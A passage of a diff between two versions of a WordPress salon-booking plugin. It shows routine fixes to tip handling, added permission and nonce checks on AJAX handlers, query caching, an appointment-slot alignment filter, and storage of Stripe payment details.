sanitize_text_field(wp_unslash($_POST['sln']['tips']));\n \t    $tips = trim($tips);\n \n@@ -26,53 +26,64 @@\n \t    } elseif ( floatval($tips) \u003C 0.0 ) {\n \t\t$this->addError(__('Tips cannot be negative', 'salon-booking-system'));\n \t    } else {\n-\t\t$tips = floatval($tips);\n+\t\t$tips           = floatval($tips);\n \t\t$bookingBuilder = $plugin->getBookingBuilder();\n-\t\t$bb = $bookingBuilder->getLastBooking();\n-\t\t\n+\n+\t\t\u002F\u002F Use the explicit booking ID sent from the form when available.\n+\t\t\u002F\u002F The session\u002Ftransient can hold a stale last_id (a booking from a\n+\t\t\u002F\u002F previous flow), causing the tip to be applied to the wrong booking.\n+\t\t$bb = null;\n+\t\tif ( isset( $_POST['sln_booking_id'] ) ) {\n+\t\t    $bookingId = intval( $_POST['sln_booking_id'] );\n+\t\t    if ( $bookingId > 0 ) {\n+\t\t\t$bb = $plugin->createBooking( $bookingId );\n+\t\t\tSLN_Plugin::addLog( sprintf( 'ApplyTipsAmount: resolved booking #%d from POST sln_booking_id', $bookingId ) );\n+\t\t    }\n+\t\t}\n+\t\tif ( ! $bb ) {\n+\t\t    $bb = $bookingBuilder->getLastBooking();\n+\t\t}\n+\n \t\tif (!$bb) {\n-\t\t    \u002F\u002F DIAGNOSTIC: Log detailed information about why booking is not found\n \t\t    SLN_Plugin::addLog('=== ApplyTipsAmount: BOOKING NOT FOUND ===');\n \t\t    SLN_Plugin::addLog('Client ID: ' . $bookingBuilder->getClientId());\n \t\t    SLN_Plugin::addLog('Using transient: ' . ($bookingBuilder->isUsingTransient() ? 'YES' : 'NO (session)'));\n \t\t    SLN_Plugin::addLog('Session ID: ' . session_id());\n-\t\t    SLN_Plugin::addLog('Has services data: ' . ($bookingBuilder->get('services') ? 'YES' : 'NO'));\n-\t\t    \n-\t\t    \u002F\u002F Check if there's a booking ID in the request\n-\t\t    if (isset($_POST['sln_booking_id'])) {\n-\t\t\tSLN_Plugin::addLog('Booking ID from POST: ' . sanitize_text_field($_POST['sln_booking_id']));\n-\t\t    }\n-\t\t    \n \t\t    $this->addError(__('Unable to find booking. Please refresh the page and try again.', 'salon-booking-system'));\n \t\t} else {\n \t\t    $bb->setMeta('tips', $tips);\n-\t\t    $bb->evalTotal();\n-\t\t    $tipsValue = $bb->getTips();\n-\t\t    SLN_Plugin::addLog(sprintf('ApplyTipsAmount: Tips applied successfully - Booking ID: %d, Tip: %s', $bb->getId(), $tips));\n+\t\t    \u002F\u002F Capture the return value directly — avoids a meta re-read that can\n+\t\t    \u002F\u002F return stale\u002Fzero data if the object cache or a filter interferes.\n+\t\t    $computedAmount = $bb->evalTotal();\n+\t\t    $tipsValue      = $bb->getTips();\n+\t\t    SLN_Plugin::addLog(sprintf('ApplyTipsAmount: Tips applied successfully - Booking ID: %d, Tip: %s, Computed: %s', $bb->getId(), $tips, $computedAmount));\n \t\t}\n \t    }\n \n \t    if ($errors = $this->getErrors()) {\n \t\t$ret = compact('errors');\n \t    } else {\n-\t\t$totalAmount = $bb->getToPayAmount(false);\n-\t\t$rawAmount = $bb->getAmount();\n-\t\t$depositAmount = $bb->getDeposit();\n-\t\t\n+\t\t\u002F\u002F Build amounts from the freshly-computed value rather than reading\n+\t\t\u002F\u002F back from meta, so a stale cache can never return 0 to the client.\n+\t\t$settings      = $plugin->getSettings();\n+\t\t$fee           = SLN_Helper_TransactionFee::getFee($computedAmount);\n+\t\t$totalAmount   = $computedAmount + $fee;\n+\t\t$depositAmount = SLN_Helper_PayDepositAdvancedRules::getDeposit($computedAmount, $settings);\n+\n \t\tSLN_Plugin::addLog(sprintf(\n-\t\t    'ApplyTipsAmount: Calculation details - Raw Amount: %s, ToPayAmount: %s, Tips: %s, Deposit: %s',\n-\t\t    $rawAmount,\n+\t\t    'ApplyTipsAmount: Calculation details - Computed: %s, ToPayAmount: %s, Tips: %s, Deposit: %s',\n+\t\t    $computedAmount,\n \t\t    $totalAmount,\n \t\t    $tipsValue,\n \t\t    $depositAmount\n \t\t));\n-\t\t\n+\n \t\t$ret = array(\n-\t\t    'success'  => 1,\n-\t\t    'tips'     => $plugin->format()->money($tipsValue, false, false, true),\n-\t\t    'total'    => $plugin->format()->money($totalAmount, false, false, true),\n-\t\t    'deposit'  => $plugin->format()->money($depositAmount, false, false, true),\n-\t\t    'errors'   => array(\n+\t\t    'success' => 1,\n+\t\t    'tips'    => $plugin->format()->money($tipsValue, false, false, true),\n+\t\t    'total'   => $plugin->format()->money($totalAmount, false, false, true),\n+\t\t    'deposit' => $plugin->format()->money($depositAmount, false, false, true),\n+\t\t    'errors'  => array(\n \t\t\t__('Tips was applied', 'salon-booking-system')\n \t\t    )\n \t\t);\n@@ -90,4 +101,4 @@\n \t{\n \t\treturn $this->errors;\n \t}\n-}\n\\ No newline at end of file\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -16,6 +16,8 @@\n   protected $intervalName;\n   private $stopIteration = false;\n   protected $attendantMode;\n+  \u002F** Cached result of getBookingStatusCounts() — computed once per request. *\u002F\n+  private $statusCountsCache = null;\n \n   public function getFrom()\n   {\n@@ -24,6 +26,10 @@\n \n   public function execute()\n   {\n+    if (!current_user_can('manage_salon')) {\n+      wp_send_json_error(null, 403);\n+    }\n+\n     $this->attendantMode = get_user_meta(get_current_user_id(), '_assistants_mode', true) == 'true';\n     $offset = intval($_GET['offset']) * 60;\n     $offsetEnd = isset($_GET['offsetEnd']) ? intval($_GET['offsetEnd']) * 60 : $offset;\n@@ -75,6 +81,13 @@\n       $holidays_assistants_rules = array();\n       $assistants = $this->plugin->getRepository(\\SLN_Plugin::POST_TYPE_ATTENDANT)->getAll();\n \n+      \u002F\u002F Prime ALL attendant post meta in one SQL query so that getMeta() calls\n+      \u002F\u002F for 'holidays_daily' and 'holidays' below are served from cache.\n+      if (!empty($assistants)) {\n+        $attIds = array_map(function ($a) { return $a->getId(); }, $assistants);\n+        update_meta_cache('post', $attIds);\n+      }\n+\n       foreach ($assistants as $att) {\n         $holidays_daily = $att->getMeta('holidays_daily') ?: array();\n         foreach ($holidays_daily as &$rule) {\n@@ -124,19 +137,27 @@\n     $clone = clone $this->from;\n     $ret = array();\n \n+    \u002F\u002F Pre-group bookings by date (Ymd key) so each day's stats loop is O(1)\n+    \u002F\u002F instead of O(N) — avoids iterating all bookings twice per day in the\n+    \u002F\u002F while-loop below (previously O(days × bookings × 2) total iterations).\n+    $bookingsByDate = array();\n+    foreach ($this->bookings as $b) {\n+      $bookingsByDate[$b->getDate()->format('Ymd')][] = $b;\n+    }\n+\n     while ($clone \u003C= $this->to) {\n       $dd = new Date($clone);\n       $tmp = array('text' => '', 'busy' => 0, 'free' => 0);\n \n+      $dayBookings = isset($bookingsByDate[$clone->format('Ymd')]) ? $bookingsByDate[$clone->format('Ymd')] : array();\n+\n       \u002F\u002F Calculate booking stats (revenue, count)\n       $tot = 0;\n       $cnt = 0;\n-      foreach ($this->bookings as $b) {\n-        if ($b->getDate()->format('Ymd') == $clone->format('Ymd')) {\n-          if (!$b->hasStatus(array(SLN_Enum_BookingStatus::CANCELED))) {\n-            $tot += $b->getAmount();\n-            $cnt++;\n-          }\n+      foreach ($dayBookings as $b) {\n+        if (!$b->hasStatus(array(SLN_Enum_BookingStatus::CANCELED))) {\n+          $tot += $b->getAmount();\n+          $cnt++;\n         }\n       }\n \n@@ -152,15 +173,13 @@\n \n       \u002F\u002F Calculate busy time from actual bookings\n       $busyMinutes = 0;\n-      foreach ($this->bookings as $b) {\n-        if ($b->getDate()->format('Ymd') == $clone->format('Ymd')) {\n-          if (!$b->hasStatus(array(SLN_Enum_BookingStatus::CANCELED))) {\n-            \u002F\u002F Calculate duration of this booking\n-            $services = $b->getBookingServices()->getItems();\n-            foreach ($services as $service) {\n-              $duration = $service->getDuration();\n-              $busyMinutes += SLN_Func::getMinutesFromDuration($duration);\n-            }\n+      foreach ($dayBookings as $b) {\n+        if (!$b->hasStatus(array(SLN_Enum_BookingStatus::CANCELED))) {\n+          \u002F\u002F Calculate duration of this booking\n+          $services = $b->getBookingServices()->getItems();\n+          foreach ($services as $service) {\n+            $duration = $service->getDuration();\n+            $busyMinutes += SLN_Func::getMinutesFromDuration($duration);\n           }\n         }\n       }\n@@ -249,6 +268,12 @@\n \n   private function getBookingStatusCounts()\n   {\n+    \u002F\u002F Computed once per request — execute(), renderEvents() and renderDay()\n+    \u002F\u002F all call this method; without caching day view would run it 3 times.\n+    if ($this->statusCountsCache !== null) {\n+      return $this->statusCountsCache;\n+    }\n+\n     $counts = array(\n       'paid_confirmed' => 0,\n       'pay_later' => 0,\n@@ -260,6 +285,7 @@\n     \u002F\u002F Skip expensive calculations for FREE version\n     \u002F\u002F This avoids iterating through bookings and making meta queries\n     if (!defined('SLN_VERSION_PAY')) {\n+      $this->statusCountsCache = $counts;\n       return $counts;\n     }\n \n@@ -290,6 +316,7 @@\n       }\n     }\n \n+    $this->statusCountsCache = $counts;\n     return $counts;\n   }\n \n@@ -318,7 +345,10 @@\n \n     if (!empty($this->bookings) && is_array($this->bookings)) {\n       $tempBookings = array();\n-      \n+      \u002F\u002F Shop name cache: avoids a get_the_title() WP_Query per booking when\n+      \u002F\u002F multiple today's bookings share the same shop.\n+      $shopNameCache = array();\n+\n       foreach ($this->bookings as $booking) {\n         if ($booking && method_exists($booking, 'getDate') && method_exists($booking, 'getStatus') && method_exists($booking, 'getStartsAt')) {\n           $bookingDate = $booking->getDate();\n@@ -331,12 +361,16 @@\n             if ($status === 'sln-b-paid' || $status === 'sln-b-confirmed' || $status === 'sln-b-paylater') {\n               $count++;\n               \n-              \u002F\u002F Get shop name for Multi-Shop support\n+              \u002F\u002F Get shop name for Multi-Shop support (cached to avoid one\n+              \u002F\u002F get_the_title() query per booking when shops repeat).\n               $shopName = '';\n               if (class_exists('\\SalonMultishop\\Addon')) {\n                 $shopId = get_post_meta($booking->getId(), '_sln_booking_shop', true);\n                 if (!empty($shopId)) {\n-                  $shopName = get_the_title($shopId);\n+                  if (!isset($shopNameCache[$shopId])) {\n+                    $shopNameCache[$shopId] = get_the_title($shopId);\n+                  }\n+                  $shopName = $shopNameCache[$shopId];\n                 }\n               }\n               \n@@ -1033,6 +1067,15 @@\n       ->getRepository(SLN_Plugin::POST_TYPE_BOOKING)\n       ->get($this->getCriteria());\n \n+    \u002F\u002F Prime ALL booking post meta in one SQL query so that every subsequent\n+    \u002F\u002F getMeta() \u002F get_post_meta() call during rendering (firstname, lastname,\n+    \u002F\u002F amount, date, time, services, no_show, shop …) is served from\n+    \u002F\u002F WordPress's in-memory cache rather than hitting the DB individually.\n+    if (!empty($this->bookings)) {\n+      $ids = array_map(function ($b) { return $b->getId(); }, $this->bookings);\n+      update_meta_cache('post', $ids);\n+    }\n+\n \n     if (in_array(SLN_Plugin::USER_ROLE_STAFF, wp_get_current_user()->roles) || in_array(SLN_Plugin::USER_ROLE_WORKER, wp_get_current_user()->roles)) {\n \n@@ -1084,6 +1127,12 @@\n     if (class_exists('\\SalonMultishop\\Addon')) {\n       $shop = isset($_GET['shop']) ? (int)($_GET['shop'])  : 0;\n       if ($shop > 0) {\n+        \u002F\u002F Keep a full map before filtering so we can restore assistants if needed.\n+        $all_assistants_map = array();\n+        foreach ($this->assistants as $attendant) {\n+          $all_assistants_map[$attendant->getId()] = $attendant;\n+        }\n+\n         foreach ($this->assistants as $key => $attendant) {\n           $attendant_shops = $attendant->getMeta('shops');\n           if (!is_array($attendant_shops)) {\n@@ -1094,6 +1143,27 @@\n             }\n           }\n         }\n+\n+        \u002F\u002F Re-include any assistant referenced by a booking that passed the shop\n+        \u002F\u002F filter. Without this, bookings whose attendant is missing from the shop's\n+        \u002F\u002F assistant list would be silently dropped in the assistant view.\n+        $included_ids = array();\n+        foreach ($this->assistants as $attendant) {\n+          $included_ids[] = (int)$attendant->getId();\n+        }\n+\n+        foreach ($this->bookings as $booking) {\n+          foreach ($booking->getAttendantsIds() as $booking_attendant_id) {\n+            $booking_attendant_id = (int)$booking_attendant_id;\n+            if ($booking_attendant_id > 0\n+              && !in_array($booking_attendant_id, $included_ids)\n+              && isset($all_assistants_map[$booking_attendant_id])\n+            ) {\n+              $this->assistants[] = $all_assistants_map[$booking_attendant_id];\n+              $included_ids[]     = $booking_attendant_id;\n+            }\n+          }\n+        }\n       }\n     }\n     $this->assistants = apply_filters('sln.action.calendar.assistants', $this->assistants);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -146,6 +146,17 @@\n             $intervalsArray['dates'] = array();\n             $intervalsArray['times'] = array();\n             $intervalsArray['noAvailabilityMessage'] = __('No available appointments found for the selected service. No assistant pair is available in the current date range. Please try a different service or contact us.', 'salon-booking-system');\n+\n+            \u002F\u002F Override the stale session-derived suggested date with the start of the\n+            \u002F\u002F current booking window (today + min-advance).  Without this, a stale past\n+            \u002F\u002F date drives the calendar to a previous month and it appears frozen.\n+            $fromDate = $hb->getFromDate();\n+            $intervalsArray['suggestedDate']          = $plugin->format()->date($fromDate);\n+            $intervalsArray['suggestedYear']          = $fromDate->format('Y');\n+            $intervalsArray['suggestedMonth']         = $fromDate->format('m');\n+            $intervalsArray['suggestedDay']           = $fromDate->format('d');\n+            $intervalsArray['universalSuggestedDate'] = $fromDate->format('Y-m-d');\n+\n             return $intervalsArray;\n         }\n \n@@ -195,9 +206,17 @@\n         \n         \u002F\u002F SMART AVAILABILITY: Use all attendants' availability for times as well\n         if ($isSmartAvailability) {\n+            \u002F\u002F auto-align is already applied inside getAllAttendantsAvailableTimes() for performance\n             $times = $this->getAllAttendantsAvailableTimes(Date::create($tmpDate), $bservices, $this->duration);\n         } else {\n             $times = $ah->getCachedTimes(Date::create($tmpDate), $this->duration);\n+\n+            \u002F\u002F Apply auto-align for non-smart path (smart path applies it inside getAllAttendantsAvailableTimes)\n+            if (SLN_Plugin::getInstance()->getSettings()->get('auto_align_slots') && $this->duration) {\n+                $originalTimes = $times;\n+                $times = $this->filterTimesAlignedToServiceDuration($times, $this->duration);\n+                SLN_Helper_AvailabilityDebugger::logFilteredTimes($originalTimes, $times, 'Auto-Align Slots Filter');\n+            }\n         }\n         \n         \u002F\u002F PHP 8+ compatibility: Ensure $times is always an array\n@@ -635,7 +654,13 @@\n         if ($duration) {\n             $allPossibleTimes = Time::filterTimesArrayByDuration($allPossibleTimes, $duration);\n         }\n-        \n+\n+        if ($plugin->getSettings()->get('auto_align_slots') && $duration) {\n+            $originalTimes    = $allPossibleTimes;\n+            $allPossibleTimes = $this->filterTimesAlignedToServiceDuration($allPossibleTimes, $duration);\n+            SLN_Helper_AvailabilityDebugger::logFilteredTimes($originalTimes, $allPossibleTimes, 'Auto-Align Slots Filter');\n+        }\n+\n         $totalSlots = count($allPossibleTimes);\n         \u002F\u002F For each time slot, check if ANY attendant is available.\n         \u002F\u002F slotStep\u002FmaxChecks are optimisations that only make sense for the date-availability\n@@ -704,4 +729,57 @@\n         }\n         return $availableTimes;\n     }\n+\n+    \u002F**\n+     * Filter available times to only show slots aligned with service duration.\n+     * Uses SLN_Func::getAutoAlignInterval() for the canonical interval lookup.\n+     *\n+     * @param array $times    Available time slots (key = \"HH:MM\" string)\n+     * @param Time  $duration Service duration\n+     * @return array Filtered times; falls back to original array if nothing qualifies.\n+     *\u002F\n+    private function filterTimesAlignedToServiceDuration(array $times, $duration)\n+    {\n+        if (empty($times) || !$duration) {\n+            return $times;\n+        }\n+\n+        $durationMinutes = SLN_Func::getMinutesFromDuration($duration->toString());\n+\n+        if ($durationMinutes \u003C 30) {\n+            return $times;\n+        }\n+\n+        $alignmentInterval = SLN_Func::getAutoAlignInterval($durationMinutes);\n+\n+        \u002F\u002F The booking interval (in minutes) is used to detect shift boundaries.\n+        \u002F\u002F A gap between consecutive slots larger than this value signals a new shift,\n+        \u002F\u002F so the alignment anchor resets to the first slot of that shift.\n+        $bookingInterval = (int) SLN_Plugin::getInstance()->getSettings()->get('interval') ?: 15;\n+\n+        $alignedTimes  = array();\n+        $anchorMinutes = null;\n+        $prevMinutes   = null;\n+\n+        foreach ($times as $timeKey => $timeValue) {\n+            if (!preg_match('\u002F^(\\d{2}):(\\d{2})$\u002F', $timeKey, $matches)) {\n+                continue;\n+            }\n+            $totalMinutes = ((int) $matches[1] * 60) + (int) $matches[2];\n+\n+            \u002F\u002F Reset anchor at the start of each shift (gap wider than one booking interval).\n+            if ($anchorMinutes === null || ($prevMinutes !== null && ($totalMinutes - $prevMinutes) > $bookingInterval)) {\n+                $anchorMinutes = $totalMinutes;\n+            }\n+\n+            $offsetFromAnchor = $totalMinutes - $anchorMinutes;\n+            if ($offsetFromAnchor % $alignmentInterval === 0) {\n+                $alignedTimes[$timeKey] = $timeValue;\n+            }\n+\n+            $prevMinutes = $totalMinutes;\n+        }\n+\n+        return empty($alignedTimes) ? $times : $alignedTimes;\n+    }\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -33,9 +33,12 @@\n                     $this->time = $time;\n                 }\n                 \n-                $settings = SLN_Plugin::getInstance()->getSettings();\n-                $settings->set( 'debug', $_POST['sln']['debug'] ?? false );\n-                $settings->save();\n+                $settings  = SLN_Plugin::getInstance()->getSettings();\n+                $newDebug  = (bool) ( $_POST['sln']['debug'] ?? false );\n+                if ( (bool) $settings->get( 'debug' ) !== $newDebug ) {\n+                    $settings->set( 'debug', $newDebug );\n+                    $settings->save();\n+                }\n             }\n             if(isset($_POST['_sln_booking_date'])) {\n                 $date = sanitize_text_field(wp_unslash($_POST['_sln_booking_date']));\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDismissPerformanceIndexesNotice.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDismissPerformanceIndexesNotice.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDismissPerformanceIndexesNotice.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDismissPerformanceIndexesNotice.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -7,8 +7,16 @@\n {\n     public function execute()\n     {\n+        if ( ! current_user_can( 'manage_options' ) ) {\n+            return array( 'success' => false, 'message' => __( 'You do not have permission to perform this action.', 'salon-booking-system' ) );\n+        }\n+\n+        if ( ! isset( $_POST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ) ), 'ajax_post_validation' ) ) {\n+            return array( 'success' => false, 'message' => __( 'Invalid security token. Please refresh the page and try again.', 'salon-booking-system' ) );\n+        }\n+\n         SLN_Helper_PerformanceIndexManager::dismissNotice();\n-        \n+\n         return array(\n             'success' => true,\n         );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FGetFreshDates.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FGetFreshDates.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FGetFreshDates.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FGetFreshDates.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -39,7 +39,9 @@\n             $dateTime = new SLN_DateTime();\n         }\n         \n-        $intervals = $this->plugin->getIntervals($dateTime);\n+        \u002F\u002F Pass service duration for auto-align slots feature\n+        $duration = $bb->getServices() ? \\Salon\\Util\\Time::create($bb->getDuration()) : null;\n+        $intervals = $this->plugin->getIntervals($dateTime, $duration);\n         \n         \u002F\u002F Convert to array format with timezone support\n         $intervalsArray = $intervals->toArray($timezone);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -69,7 +69,7 @@\n \n                 $paymentIntent = \\Stripe\\PaymentIntent::retrieve( array(\n                     'id'     => $session->payment_intent,\n-                    'expand' => array( 'latest_charge' ),\n+                    'expand' => array( 'latest_charge', 'payment_method' ),\n                 ) );\n \n                 if ( $paymentIntent->status === 'succeeded' ) {\n@@ -78,6 +78,12 @@\n                     $charge        = $paymentIntent->latest_charge ?? ( $paymentIntent->charges->data[0] ?? null );\n                     $transactionId = $charge ? $charge->balance_transaction : $paymentIntent->id;\n \n+                    \u002F\u002F ---- Build and cache rich payment details ----\n+                    $paymentDetails = $this->extractStripePaymentDetails( $paymentIntent, $charge );\n+                    if ( ! empty( $paymentDetails ) ) {\n+                        update_post_meta( $booking->getId(), '_sln_booking_payment_details', $paymentDetails );\n+                    }\n+\n                     $alreadyPaid = in_array( $booking->getStatus(), array( SLN_Enum_BookingStatus::PAID, SLN_Enum_BookingStatus::CONFIRMED ), true );\n \n                     SLN_Plugin::addLog( sprintf(\n@@ -88,24 +94,37 @@\n                     ) );\n \n                     if ( $alreadyPaid ) {\n+                        \u002F\u002F If the booking is already paid but has no meaningful transaction ID recorded, save it now.\n+                        \u002F\u002F array_filter strips nulls\u002Fempty strings left by the old broken markPaid(null) calls.\n+                        $existingTxn = array_filter( $booking->getTransactionId() );\n+                        if ( empty( $existingTxn ) && ! empty( $transactionId ) ) {\n+                            $booking->setMeta( 'transaction_id', array( $transactionId ) );\n+                            SLN_Plugin::addLog( sprintf(\n+                                'RefreshPaymentStatus: Saved missing transaction ID %s for already-paid booking #%d.',\n+                                $transactionId,\n+                                $booking->getId()\n+                            ) );\n+                        }\n                         return array(\n-                            'success'        => true,\n-                            'status_updated' => false,\n-                            'gateway'        => 'stripe',\n-                            'transaction_id' => $transactionId,\n-                            'message'        => __( 'Payment verified via Stripe. This booking was already marked as paid.', 'salon-booking-system' ),\n+                            'success'         => true,\n+                            'status_updated'  => false,\n+                            'gateway'         => 'stripe',\n+                            'transaction_id'  => $transactionId,\n+                            'payment_details' => $paymentDetails,\n+                            'message'         => __( 'Payment verified via Stripe. This booking was already marked as paid.', 'salon-booking-system' ),\n                         );\n                     }\n \n                     $booking->markPaid( $transactionId, 0 );\n \n                     return array(\n-                        'success'        => true,\n-                        'status_updated' => true,\n-                        'gateway'        => 'stripe',\n-                        'transaction_id' => $transactionId,\n-                        'new_status'     => SLN_Enum_BookingStatus::getLabel( SLN_Enum_BookingStatus::PAID ),\n-                        'message'        => __( 'Payment confirmed via Stripe. Booking status has been updated to Paid.', 'salon-booking-system' ),\n+                        'success'         => true,\n+                        'status_updated'  => true,\n+                        'gateway'         => 'stripe',\n+                        'transaction_id'  => $transactionId,\n+                        'payment_details' => $paymentDetails,\n+                        'new_status'      => SLN_Enum_BookingStatus::getLabel( SLN_Enum_BookingStatus::PAID ),\n+                        'message'         => __( 'Payment confirmed via Stripe. Booking status has been updated to Paid.', 'salon-booking-system' ),\n                     );\n                 }\n \n@@ -152,6 +171,42 @@\n         }\n     }\n \n+    \u002F**\n+     * Extract rich payment details from a Stripe PaymentIntent + Charge for caching and display.\n+     *\n+     * @param \\Stripe\\PaymentIntent $paymentIntent\n+     * @param \\Stripe\\Charge|null   $charge\n+     * @return array\n+     *\u002F\n+    private function extractStripePaymentDetails( $paymentIntent, $charge )\n+    {\n+        $details = array();\n+\n+        \u002F\u002F Card brand, last4, wallet type\n+        $pm = isset( $paymentIntent->payment_method ) ? $paymentIntent->payment_method : null;\n+        if ( $pm && isset( $pm->card ) ) {\n+            $details['card_brand'] = $pm->card->brand ?? '';\n+            $details['card_last4'] = $pm->card->last4 ?? '';\n+            if ( isset( $pm->card->wallet ) && $pm->card->wallet ) {\n+                $details['wallet_type'] = $pm->card->wallet->type ?? '';\n+            }\n+        }\n+\n+        \u002F\u002F Charge-level data\n+        if ( $charge ) {\n+            $details['receipt_url']     = $charge->receipt_url ?? '';\n+            $details['charge_country']  = $charge->billing_details->address->country ?? '';\n+            $details['charge_date']     = ! empty( $charge->created )\n+                ? gmdate( 'Y-m-d H:i:s', $charge->created )\n+                : '';\n+            $details['charge_amount']   = $charge->amount ?? 0;\n+            $details['refunded']        = (bool) ( $charge->refunded ?? false );\n+            $details['amount_refunded'] = $charge->amount_refunded ?? 0;\n+        }\n+\n+        return $details;\n+    }\n+\n     private function refreshPaypal( $booking )\n     {\n         \u002F\u002F PayPal Standard relies on IPN (server push) — there is no pull API to query status.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRememberTab.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRememberTab.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRememberTab.php\t2026-03-24 15:29:24.000000000 +0000\n+++ 